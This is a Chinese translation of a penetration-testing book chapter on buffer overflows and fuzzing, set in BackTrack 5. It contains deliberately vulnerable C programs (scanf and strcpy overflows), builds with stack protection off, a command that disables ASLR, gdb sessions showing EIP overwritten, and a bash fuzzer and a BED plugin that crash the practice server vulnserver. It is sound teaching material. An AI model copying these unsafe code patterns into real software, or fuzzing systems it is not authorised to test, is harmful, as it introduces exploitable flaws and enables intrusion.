原文:
annas-archive.org/md5/37A61AD0202D37F5F9B9CA71821CCC1E
译者:飞龙
第六章:利用和客户端攻击
客户端攻击通常需要用户交互。对网站的粗心访问可能会导致灾难。一般来说,客户端攻击将集中在个人在家里或办公室使用的“客户端”机器上。在一个适当安全的环境中,这些主机将通过安全机制和实践的组合来保护,如白名单、网络分割、基于主机的防火墙、文件完整性监视器、系统配置硬化和防病毒软件。
通过适当的培训,用户清楚地知道点击未知链接、打开电子邮件附件,甚至插入不受信任的设备可能具有潜在的危害。不幸的是,方便往往超过常识,因此用户将继续重复旧错误。毕竟,管理员安装的所有这些保护机制难道不应该保护用户免受一切伤害吗?
在大型环境中,台式机、工作站甚至打印机通常被视为非关键设备。重点放在昂贵的服务器和对业务运行至关重要的系统上。熟练的攻击者会充分了解这种心态。如果无法轻松地利用 Web 应用程序漏洞渗透网络,攻击者通常会转而使用社会工程和客户端攻击的混合方式。如果成功,这些攻击将像热刀切黄油一样迅速穿透边界。此外,一个完全被攻陷的客户端机器可以被设置为进入本来被保护的网络的网关。
在本章中,我们将研究一些方法,帮助我们测试公司的安全意识培训和客户端保护机制的有效性。在测试的信息收集阶段进行的研究将得到充分利用。此外,我们将研究一些安全研究人员和狡猾攻击者使用的技术和工具,以绕过那些乍一看理论上似乎合理的系统控制。
缓冲区溢出 - 复习
缓冲区溢出是野外攻击者的基本技能。当这种类型的漏洞被正确利用时,攻击可能在短短几秒钟内导致系统完全被攻陷。理想情况下,通过正确实施安全开发生命周期,许多这些漏洞可以被预防。如果您的客户没有这样的做法,您可能需要执行超出标准渗透测试的步骤,并证明企业部署的(通常是内部开发的)应用程序存在缺陷。
注意
并非所有缓冲区溢出漏洞都可以用于创建远程利用。还要注意的是,并非所有缓冲区溢出都是可利用的。
通常情况下,允许缓冲区溢出的编程错误并非故意或是由于开发人员的懒惰。缓冲区溢出漏洞在应用程序开发阶段经常被忽视,要么是因为应用程序的复杂性,要么是因为原始代码库已经存在几十年,但仍在不断地进行开发。考虑到软件开发人员经常面临不合理的最后期限和来自管理层的要求,我们不应该感到惊讶,有时安全漏洞会在软件开发生命周期中被忽视或遗漏。开发人员接到的要求基于最后一刻的决定,这在逻辑上是不利于确保正在开发的应用程序的安全性。与任何其他技术一样,安全需要内置到整个过程中,而不是作为事后添加。开发人员的优先事项变成了推出代码修改,而不是专注于稳定性和安全性。
为了解决这些类型的错误,代码编译器和操作系统将包括旨在防止利用这种类型代码的机制。为了充分理解如何绕过这些机制,您至少需要基本了解什么是缓冲区溢出,以及如何验证您的客户端是否完全受到保护,以防此类攻击。
"看见"才会相信 —— 创建一个易受攻击的程序
为了充分理解忽视这些错误有多简单,我们将制作我们自己的易受攻击的程序。打开一个 32 位的 BackTrack 虚拟系统,并利用这个机会连接到互联网并进行更新。更新后,您很可能需要下载我们将使用的调试器。目前,它不包括在 BackTrack 5 R1 的一部分中。
我们将使用 GNU 调试器。您可以在以下网址了解有关此工具的其他信息:www.gnu.org/s/gdb/
。
注意
以下示例使用 BackTrack 的 32 位版本。
要获得 GNU 调试器,您需要使用apt-get
install 命令进行安装:
# apt-get install gdb
安装完gdb
后,再次断开 BackTrack 虚拟机的互联网连接。
首要任务是编译一个小程序,用于演示缓冲区溢出的情况。我们利用scanf
函数中一个众所周知的缺陷来实现这个目的。在 BackTrack 中打开一个终端会话,并使用 nano 创建一个名为bovrflow.c
的文件。
# nano bovrflow.c
/* This program contains an intentional vulnerability for learning purposes. */
#include <stdio.h>
#include <string.h>
int main()
{
char lstring[10];
/* ask for the user to enter a long string */
printf("Enter a long string:");
/* scanf is known to be susceptible to buffer overflow when %s conversion is used*/
scanf("%s", lstring);
/*Print out the string that was typed*/
printf("You entered: %s\n",lstring);
return 0;
}
在退出到终端之前,请确保保存您的工作。在这个程序中,我们故意使用了scanf()
与%s
转换,因为scanf()
不会对输入进行消毒,以确保它不会超出分配的缓冲区大小。有关此漏洞的更多信息可以在以下位置找到:buildsecurityin.us-cert.gov/bsi/articles/knowledge/coding/816-BSI.html
。
由于GCC编译器内置了安全限制,我们必须使用-fno-stack-protector
来编译此代码。在命令提示符下,发出以下命令:
# gcc -o bovrflow -fno-stack-protector bovrflow.c
在上一个命令中,我们调用了gcc
编译器,选择了输出文件名为bovrflow
,禁用了编译器的堆栈保护功能,并针对bovrflow.c
源代码进行了定位。
注意
因为我们在 BackTrack 中以 root 身份运行,所以在尝试运行之前,我们不必担心更改文件权限为可执行。
在 BackTrack 中打开和关闭 ASLR
Linux 默认使用地址空间布局随机化(ASLR)。您应该了解如何检查是否启用了 ASLR,以及如何能够打开和关闭它。让我们来看看ldd
命令。这个命令将列出程序的共享库依赖关系。如果启用了 ASLR,内存地址在每次调用时都会改变:
# root@bt:~ # ldd bovrflow
linux-gate.so.1 => (0xb786e000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7701000)
/lib/ld-linux.so.2 (0xb786f000)
# root@bt:~ # ldd bovrflow
linux-gate.so.1 => (0xb780a000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb769d000)
/lib/ld-linux.so.2 (0xb780b000)
# root@bt:~ # ldd bovrflow
linux-gate.so.1 => (0xb78b5000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7748000)
/lib/ld-linux.so.2 (0xb78b6000)
仔细检查后,显然内存地址每次都在变化。现在让我们通过更改randomize_va_space
值来关闭 ASLR(关闭为 0,打开为 2),并比较结果:
# echo 0 > /proc/sys/kernel/randomize_va_space
注意
对于 BackTrack 以外的 Linux 发行版,可以以相同的方式启用和禁用 Exec-Shield。例如:echo 0 > /proc/sys/kernel/exec-shield
。
# root@bt:~ # ldd bovrflow
linux-gate.so.1 => (0xb7fe4000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e77000)
/lib/ld-linux.so.2 (0xb7fe5000)
# root@bt:~ # ldd bovrflow
linux-gate.so.1 => (0xb7fe4000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e77000)
/lib/ld-linux.so.2 (0xb7fe5000)
# root@bt:~ # ldd bovrflow
linux-gate.so.1 => (0xb7fe4000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e77000)
/lib/ld-linux.so.2 (0xb7fe5000)
无论您尝试运行命令多少次,内存地址都是相同的。这表明您已关闭了 ASLR 产生的随机化。
了解缓冲区溢出的基础知识
假设boverflow.c
编译正确,并且 ASLR 已关闭,我们现在可以执行我们有意使其易受攻击的程序:
# ./bovrflow
您的输出应该如下:
Enter a long string:
在此提示符下,输入一个包含 21 个字符的序列,例如AAAA
,然后按Enter:
Enter a long string:AAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAA
通过输入只有四个字符,程序执行了指令,并在显示您输入的字符后正常退出。现在让我们溢出缓冲区以分析结果。这次运行程序,但输入超过 21 个字符。
root@bt:~/overflow# ./bovrflow
Enter a long string:AAAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
通过输入比缓冲区能处理的数据更多,我们生成了一个分段错误。这正是我们要寻找的。让我们看看这个程序在运行时内存空间发生了什么。在提示符下调用gdb
调试器。
# gdb bovrflow
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/overload/bovrflow...(no debugging symbols found)...done.
(gdb)
调试器将为我们提供有关bovrflow
程序的详细内存信息。让我们看看在不溢出缓冲区的情况下从gdb
中运行程序时会发生什么。我们在 gdb 提示符下键入r来运行程序:
(gdb) r
Starting program: /root/bovrflow
Enter a long string:AAAAAA
You entered: AAAAAA
Program exited normally.
(gdb)
这里没有什么有趣的,但这个测试是一个很好的理智检查,以确保一切正常工作。现在我们需要看一下当我们引起分段错误时会发生什么:
(gdb) r
Starting program: /root/bovrflow
Enter a long string:AAAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0xb7e8bb00 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
再次运行程序;但是这一次我们使用了一个包含 22 个字符的序列,并故意导致了一个分段错误。在审查结果时,显然有些不对劲。注意到对SIGSEGV
,分段错误的引用。我们需要利用这个错误并利用明显的漏洞。不幸的是,在继续创建我们的 shellcode 之前,我们需要了解更多。毕竟,到目前为止,我们只知道我们可以使应用程序崩溃。为了进展,我们必须查看我们的寄存器地址,以进一步理解崩溃时内存空间发生了什么。在提示符下键入i r:
(gdb) i r
eax 0x0 0
ecx 0xbffff4f8 -1073744648
edx 0xb7fcc360 -1208171680
ebx 0xb7fcaff4 -1208176652
esp 0xbffff540 0xbffff540
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0xb7e8bb00 0xb7e8bb00 <__libc_start_main+16>
eflags 0x10292 [ AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
我们可以在ebp
处看到我们的输入为0x41414141
。让我们再次运行程序,并添加几个 A,看看会发生什么。
注意
如果您不理解当我们看到0x41414141
时我们在看什么,请在google.com
上进行快速搜索,找到一个您喜欢的 ASCII 转换表,并打印出来。
(gdb) r
按r在调试器中重新启动程序。
The program being debugged has been started already.
Start it from the beginning? (y or n) y
按y让调试器知道您想要完全重新启动。
Starting program: /root/overload/bovrflow
Enter a long string:AAAAAAAAAAAAAAAAAAAAAAAA
这次我们需要输入 24 个A并按Enter。
You entered: AAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0xb7004141 in ?? ()
我们的分段错误现在返回了一些奇怪的东西…当我们之前只输入 12 个字符时,输出指示0xb7e8bb00 in __libc_start_main ()
来自/lib/tls/i686/cmov/libc.so.6
,但现在我们返回的是0xb7004141 in ?? ()
。我们甚至可以看到一些我们的A现在出现了。再次查看我们的信息寄存器:
(gdb) info registers
eax 0x0 0
ecx 0xbffff4f8 -1073744648
edx 0xb7fcc360 -1208171680
ebx 0xb7fcaff4 -1208176652
esp 0xbffff540 0xbffff540
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0xb7004141 0xb7004141
eflags 0x10292 [ AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
看一下eip
。我们可以看到,使用 24 个字符时,地址为0xb7004141
,而只有 12 个 A 时,我们看到的是0xb7e8bb00
。这是重要的。我们需要尝试一件事情,使这一点变得显而易见。再次从调试器中运行程序。这次使用总共 26 个 A,并完全覆盖 EIP。
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/overload/bovrflow
Enter a long string:AAAAAAAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0xbffff4f8 -1073744648
edx 0xb7fcc360 -1208171680
ebx 0xb7fcaff4 -1208176652
esp 0xbffff540 0xbffff540
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x10292 [ AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
现在 EIP 完全被 A 覆盖了。我们已经演示了用户如何操纵堆栈。在下一节中,我们将审查并利用一个小样本程序。
注意
如果您想挑战自己,请进行额外的研究,并尝试通过利用bovrflow
来获得 root shell 或打开 nano。
到目前为止,我们已经介绍了如何操纵堆栈的基本概念。高级攻击者将了解并利用这些漏洞,以便在可能的情况下利用这些漏洞。在许多情况下,您将没有时间完全检查每个应用程序是否存在缓冲区溢出等漏洞,但了解我们将在本章中进一步使用的攻击的基本原理是很好的。如果您发现自己可能会喜欢漏洞研究,我强烈建议您查看以下资源:
了解更多关于缓冲区溢出漏洞和更多的优秀资源: | |
---|---|
Smashing The Stack For Fun And Profit by Aleph One | insecure.org/stf/smashstack.html |
Mudge 的缓冲区溢出教程 | insecure.org/stf/mudge_buffer_overflow_tutorial.html |
Corelan 团队的网站。这个团队很棒。查看他们的教程和论坛! | www.corelan.be/ |
"sickn3ss"的 IHASOMGSECURITYSKILLS 博客。令人印象深刻的写作,易于跟随。查看教程。 | sickness.tor.hu/ |
模糊测试简介
每当应用程序允许输入时,无论是直接来自用户(例如输入凭据、打开文件,甚至从更改 RAM 中的数据),都有可能利用输入来造成混乱。攻击者不会花费数小时或数天在用户名和密码提示或对一个不知名端口的连接上输入(好吧,有些人可能会!)。相反,他们将利用专注于这一任务的工具,欢迎来到模糊器的世界。
模糊器通常用于生成和输出数据;这些数据可以以各种方式进行操作和格式化,并且有已发布的算法可以帮助使工作变得更加容易。
注意
请记住输入是一个非常广泛的术语。在考虑被测试应用程序的每种输入方法时,请务必考虑每种输入向量。似乎微不足道的事情,如播放一首歌曲甚至读取文件名,都可能提供可能的攻击向量。
每当出现程序允许不受控制的输入的情况时,可能会有一个模糊器等待处理任务。让我们创建一个小程序,看看模糊器可能如何帮助找到应用程序中的漏洞或异常。我们将使用strcpy()
函数中的一个众所周知且经常演示的漏洞。打开 BackTrack 实例并创建以下程序:
# nano fuzzme.c
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
bdcode(argv[1]);
return 0;
}
int bdcode(char *bdinput)
{
char stuff[200];
strcpy(stuff, bdinput);
printf("You passed the following data to fuzzme: %s\n",stuff);
return 0;
}
如前所述,我们正在创建一个场景,其中stuff
字符缓冲区可以被超载。int main(int argc, char** argv)
指示程序在调用文件之后并在按下Enter之前接受输入,并将其分配给argv
,然后我们可以将其复制到stuff
变量中。如果stuff
无法包含所呈现的数据的数量或类型,将发生分段错误。
确保使用-fno-stack-protector
参数进行编译。
# gcc -o fuzzme -fno-stack-protector fuzzme.c
尝试在尝试和不尝试引起分段错误的情况下运行程序:
# ./fuzzme AAAAAAAAAA
You passed the following data to fuzzme: AAAAAAAAAA
现在我们需要尝试足够的输入来导致崩溃:
root@bt:~# ./fuzzme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You passed the following data to fuzzme: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
如预期的那样,在 208 个字符时,我们生成了一个有意的分段错误。现在假设您事先不知道这一点,可能需要数百或数千个字符才能使程序崩溃。这就是为什么我们希望使用模糊器来自动执行攻击。让我们使用 shell 脚本制作一个非常基本的概念验证:
# nano myfuzzr.sh
# !/bin/bash
COUNTER=1
FUZZY=A
FUZZIER=A
echo "How many A's would you like to try?"
read COUNTER
while [ $COUNTER -ge 1 ]; do
let COUNTER=COUNTER-1
FUZZY="$FUZZY$FUZZIER"
echo `./fuzzme $FUZZY`
done
在这个简单的模糊器表示中,我们要求输入我们想要针对程序进行测试的 A 的数量。然后,我们运行一个循环,直到计数器再次降至 1。如果我们运行程序并选择 10,我们将收到以下输出:
# ./myfuzzr.sh
How many A's would you like to try?
10
You passed the following data to fuzzme: AA
You passed the following data to fuzzme: AAA
You passed the following data to fuzzme: AAAA
You passed the following data to fuzzme: AAAAA
You passed the following data to fuzzme: AAAAAA
You passed the following data to fuzzme: AAAAAAA
You passed the following data to fuzzme: AAAAAAAA
You passed the following data to fuzzme: AAAAAAAAA
You passed the following data to fuzzme: AAAAAAAAAA
尝试看看当您选择 208 个 A 时会发生什么。该程序并不复杂,不会干净地退出。您也不会有任何指示器表明发生了什么,或者为什么 207 个之后的 A 没有显示。
注意
挑战自己修改这个简单的程序,或者用更合适的脚本语言或编程语言(如 Python 或 Ruby)重新创建它。
通过这些练习,模糊测试的基本概念应该是明显的。有一些专门致力于这个主题的书籍,因此我们只能浅尝辄止,模糊测试可能是真正艺术形式的表面。
介绍 vulnserver
在接下来的几个练习中,我们将使用 vulnserver(grey-corner.blogspot.com/2010/12/introducing-vulnserver.html
)作为我们的目标。这个有意漏洞的应用程序是由 Stephen Bradshaw 创建的,旨在为自己和安全社区提供一个可以用来练习各种与安全相关的任务的应用程序。
理想情况下,该程序应在基于 Windows 的机器上运行;由于我们试图让这本书专注于开源和免费可用的程序,我们将在我们的 BackTrack 机器上运行服务器。这将足以了解 BackTrack 中提供的更多关于模糊测试工具的信息。
将 vulnserver 应用程序下载到您的 BackTrack 机器上,解压缩它,仔细查看许可证和 README 文件,并在再次断开 BackTrack 实例与互联网的连接后,使用以下命令启动vulnserver.exe
:
# wine vulnserver.exe 4444
Starting vulnserver version 1.00
Called essential function dll version 1.00
This is vulnerable software!
Do not allow access from untrusted systems or networks!
Waiting for client connections...
此命令将使用wine
在端口 4444 上运行您的vulnserver.exe
应用程序。要测试服务器是否正常工作,请打开一个终端会话,并使用netcat
连接到服务器,如下所示:
# nc 127.0.0.1 4444
您将看到 vulnserver 的介绍屏幕:
Welcome to Vulnerable Server! Enter HELP for help.
如提示所述,您可以输入 HELP 以获取有关可用输入的信息:
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
我们将使用预先安装在 BackTrack 5 R1 上的不同模糊测试工具向这些输入注入畸形、随机或变异的数据。要更熟悉服务器,随时随地随意探索。以下是一个有效输入的示例:
LTER AAAAAA
LTER COMPLETE
该应用程序期望一个我们提供的输入,我们提供了 LTER AAAAAA。由于这个输入没有问题,应用程序会返回到正常状态。
注意
有关 vulnserver 应用程序的详细信息,请访问 Stephen Bradshaw 的博客。在那里,您还会发现它包含了与他的 vulnserver 应用程序相关的几个很棒的教程,这些教程写得很好,易于理解。
BackTrack 中包含的模糊测试工具
幸运的是,对于典型的渗透测试人员来说,不需要花费数月甚至数年来准备完美的模糊测试工具。社区已经为我们提供了大量这些精彩的工具,与编写它们相比,它们的使用非常简单!
Bruteforce Exploit Detector (BED)
**Bruteforce Exploit Detector (BED)**正如其名称所示。该程序将允许您向目标应用程序发送数据,希望会发生崩溃。尽管这种方法在某些情况下确实有效,但在尝试查找易受攻击的应用程序时,有时需要更多的控制。BackTrack 5 R1 在/pentest/fuzzers/bed
预安装了 BED。BED 提供了在不修改的情况下模糊测试几种常用协议的能力。
/pentest/fuzzers/bed# ./bed.pl
BED 0.5 by mjm ( www.codito.de ) & eric ( www.snake-basket.de )
Usage:
./bed.pl -s <plugin> -t <target> -p <port> -o <timeout> [ depends on the plugin ]
<plugin> = FTP/SMTP/POP/HTTP/IRC/IMAP/PJL/LPD/FINGER/SOCKS4/SOCKS5
<target> = Host to check (default: localhost)
<port> = Port to connect to (default: standard port)
<timeout> = seconds to wait after each test (default: 2 seconds)
use "./bed.pl -s <plugin>" to obtain the parameters you need for the plugin.
Only -s is a mandatory switch.
除了 Bruteforce Exploit Detector 的开发人员提供的插件之外,您还可以轻松创建自己的插件。查看/pentest/fuzzers/bed/docs
目录中的dummy.pm
文件。这个模板为您提供了一个可以根据我们的需求进行修改的模板。切换到/pentesting/fuzzers/bed/bedmod
目录,并cat
一些文件,比如ftp.pm
,以更好地了解完全功能的插件是什么样子的。当您对格式感到满意时,在bedmod
文件夹中创建一个新文件,并将其命名为vserver.pm
。以下代码是使用dummy.pm
示例模板创建的。将此代码输入到vserver.pm
中:
package bedmod::vserver;
use Socket;
sub new{
my $this = {};
# define everything you might need
bless $this;
return $this;
}
sub init{
my $this = shift;
%special_cfg=@_;
$this->{proto} = "tcp";
if ($special_cfg{'p'} eq "") { $this->{port}='4444'; }
else { $this->{port} = $special_cfg{'p'}; }
$iaddr = inet_aton($this->{target}) || die "Unknown host: $host\n";
$paddr = sockaddr_in($this->{port}, $iaddr) || die "getprotobyname: $!\n";
$proto = getprotobyname('tcp') || die "getprotobyname: $!\n";
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die "socket: $!\n";
connect(SOCKET, $paddr) || die "connection attempt failed: $!\n";
send(SOCKET, "HELP", 0) || die "HELP request failed: $!\n";
$this->{vrfy} = "HELP\r\n";
}
sub getQuit{
return("EXIT\r\n");
}
# what to test without doing a login before
sub getLoginarray{
my $this = shift;
@login = ("");
return(@login);
}
# which commands does this protocol know ?
sub getCommandarray {
my $this = shift;
# the XAXAX will be replaced with the buffer overflow / format string data
# place every command in this array you want to test
@cmdArray = (
"XAXAX\r\n",
"STATS XAXAX\r\n",
"RTIME XAXAX\r\n",
"LTIME XAXAX\r\n",
"SRUN XAXAX\r\n",
"TRUN XAXAX\r\n",
"GMON XAXAX\r\n",
"GDOG XAXAX\r\n",
"KSTET XAXAX\r\n",
"GTER XAXAX\r\n",
"HTER XAXAX\r\n",
"LTER XAXAX\r\n",
"KSTAN XAXAX\r\n"
);
return(@cmdArray);
}
# How to respond to login prompt:
sub getLogin{ # login procedure
my $this = shift;
@login = ("HELP\r\n");
return(@login);
}
# Test anything else you would like to
sub testMisc{
return();
}
1;
乍一看,这段代码可能看起来很复杂。如果你看一下高亮显示的代码,你会看到我们特定插件的最重要的方面。我们已经指示 BED 向我们通过 HELP 命令提供的每个输入发送数据。默认端口设置为 4444,登录为空,因为对于这种类型的应用程序不需要。在我们可以使用vserver.pm
插件之前还需要进行一些修改。打开/pentest/fuzzers/bed/bed.pl
文件进行编辑,并在第 14 行的@plugins
变量中添加vserver
:
@plugins = ( "ftp", "smtp", "pop", "http", "irc", "imap", "pjl", "lpd", "finger", "socks4", "socks5", "vserver" );
保存你对bed.pl
所做的更改并退出编辑器。假设你已经在 4444 端口上启动了vulnserver.exe
,让我们尝试一下我们的新插件:
# ./bed.pl -s vserver -t 127.0.0.1
BED 0.5 by mjm ( www.codito.de ) & eric ( www.snake-basket.de )
* Normal tests
+ Buffer overflow testing:
testing: 1 XAXAX ...........
testing: 2 STATS XAXAX ...........
testing: 3 RTIME XAXAX ...........
testing: 4 LTIME XAXAX ...........
testing: 5 SRUN XAXAX ...........
testing: 6 TRUN XAXAX ...........
testing: 7 GMON XAXAX ...........
testing: 8 GDOG XAXAX ...........
testing: 9 KSTET XAXAX ...
Bed.pl
确实在做一些事情,但我们并没有确切地得到任何反馈。如果你等待足够长的时间,你会收到崩溃的通知。
不幸的是,vulnserver 应用程序仍在接收连接,因此bed.pl
将继续暴力破解过程。此外,此时我们不知道是什么导致了崩溃。当我们点击关闭时,我们会从 vulnserver 控制台获得一些调试信息,但在处理客户端修改或创建的应用程序时,这种行为并不总是可以预期的。通常情况下,为了避免给潜在攻击者提供过多信息,生产应用程序会禁用调试。
注意
我们没有编写任何会在EXIT
命令启动后停止程序的语句(比如 GOODBYE)。因此,Bruteforce Exploit Detector 没有检测到问题!挑战自己,为你的插件添加这个功能!
让我们看一下从stdout
提供使用反馈的终端:
Waiting for client connections...
Unhandled exception: page fault on read access to 0x41414141 in 32-bit code (0x41414141).
Register dump:
CS:0073 SS:007b DS:007b ES:007b FS:0033 GS:003b
EIP:41414141 ESP:00c0e4c0 EBP:41414141 EFLAGS:00210202( R- -- I - - - )
EAX:00c0e470 EBX:7bc9cff4 ECX:00000000 EDX:00000065
ESI:7ffccf10 EDI:00401848
Stack dump:
0x00c0e4c0: 41414141 41414141 41414141 41414141
0x00c0e4d0: 41414141 00000000 00000000 00000000
0x00c0e4e0: 00000000 00000000 00000000 00000000
0x00c0e4f0: 00000000 00000000 00000000 00000000
0x00c0e500: 00000000 00000000 00000000 0018ff48
0x00c0e510: 696c6156 6f432064 6e616d6d 0a3a7364
Backtrace:
0x41414141: -- no code accessible --
Modules:
Module Address Debug info Name (22 modules)
PE 400000- 407000 Deferred vulnserver
PE 62500000-62508000 Deferred essfunc
ELF 7b800000-7b97d000 Deferred kernel32<elf>
\-PE 7b810000-7b97d000 \ kernel32
ELF 7bc00000-7bcb9000 Deferred ntdll<elf>
\-PE 7bc10000-7bcb9000 \ ntdll
ELF 7bf00000-7bf04000 Deferred <wine-loader>
ELF 7ed60000-7ed7f000 Deferred libgcc_s.so.1
ELF 7ed90000-7edbd000 Deferred ws2_32<elf>
\-PE 7eda0000-7edbd000 \ ws2_32
ELF 7edbd000-7ee3f000 Deferred msvcrt<elf>
\-PE 7edd0000-7ee3f000 \ msvcrt
ELF 7ef9c000-7efa8000 Deferred libnss_files.so.2
ELF 7efa8000-7efb2000 Deferred libnss_nis.so.2
ELF 7efb2000-7efc9000 Deferred libnsl.so.1
ELF 7efc9000-7efef000 Deferred libm.so.6
ELF 7eff8000-7f000000 Deferred libnss_compat.so.2
ELF b7593000-b7597000 Deferred libdl.so.2
ELF b7597000-b76f1000 Deferred libc.so.6
ELF b76f2000-b770b000 Deferred libpthread.so.0
ELF b771c000-b785c000 Deferred libwine.so.1
ELF b785e000-b787b000 Deferred ld-linux.so.2
Threads:
process tid prio (all id:s are in hex)
0000000e services.exe
00000014 0
00000010 0
0000000f 0
00000011 winedevice.exe
00000018 0
00000017 0
00000013 0
00000012 0
00000074 (D) Z:\root\vulnserver.exe
0000004d 0
00000048 0 <==
00000076 0
00000075 0
0000004b explorer.exe
0000004c 0
Backtrace:
Send failed with error: 10054
Received a client connection from 127.0.0.1:41190
Waiting for client connections...
值得注意的是,EIP 已被覆盖为41414141
。这是一个很好的指示,表明可能存在对这个堆栈溢出的利用。还要注意服务器输出表明正在发生连接请求。服务器并没有完全崩溃,只是这个连接。如果以后需要创建自己的利用,这可以为你带来好处。
既然我们知道应用程序存在问题,我们需要了解是什么导致了崩溃。通常情况下,你的模糊器会为你提供这些信息,但在这种情况下,bed.pl
仍在继续运行。
# wireshark
等到 Wireshark GUI 完全加载并选择捕获lo
的选项(这将允许你观察本地流量)从屏幕中间。
让我们重现错误,但这次我们将在Wireshark中观察数据包,因为它们穿过本地环回接口。重新启动vulnserver
,然后再次使用vserver
插件启动bed.pl
。一切都开始后,切换到 Wireshark 并查看正在传递的数据包。你可以右键单击 Wireshark 中的任何消息,然后选择跟踪 TCP 流以查看消息的易于阅读的格式。
如果你等到崩溃发生,你可以在 Wireshark 中搜索看起来最明显导致崩溃的流。请记住,我们的代码中没有任何延迟,所以最后建立的连接不一定是导致错误发生的连接。在这种情况下,注意到在vulnserver
控制台上,在崩溃发生之前最后建立的连接是:
Received a client connection from 127.0.0.1:41041
Waiting for client connections...
wine: Unhandled page fault on read access to 0x41414141 at address 0x41414141 (thread 0048), starting debugger...
如果你去 Wireshark 并在过滤器菜单中输入tcp.stream eq 41041
,你将只看到组成我们感兴趣的消息的数据包。选择其中一个被过滤的消息,右键单击它,然后查看 TCP 流。
看起来最后一条发送到 vulnserver 的消息是:
KSTET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
在不使用过滤器的情况下查看以前的消息,我们可以确定KSTET
通常在成功接受输入后发送响应**(KSTET** SUCCESSFUL)
:
EXIT
KSTET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HELP
EXIT
KSTET SUCCESSFUL
我们可以测试这个输入,看看我们是否可以手动复制错误。停止并重新启动 vulnserver,然后手动netcat
到127.0.0.1
端口 4444。
# nc 127.0.0.1 4444
Welcome to Vulnerable Server! Enter HELP for help.
KSTET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
KSTET SUCCESSFUL
KSTET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
此时应用程序将崩溃,并且Program Error弹出窗口将再次出现。单击Program Error窗口中的Close。再次可以从调试器的输出中查看,并注意 EIP(当前正在处理的指令)已被 41414141 覆盖。
提示
在尝试确保正在测试的环境的安全姿态时,我们应该寻找这种可重复的错误。根据测试的范围,此时业务可能只需要潜在漏洞的详细信息。如果范围允许,可以创建一个应用程序的利用来证明漏洞可能导致重要数据、资产或收入的损失。
SFUZZ:简单模糊器
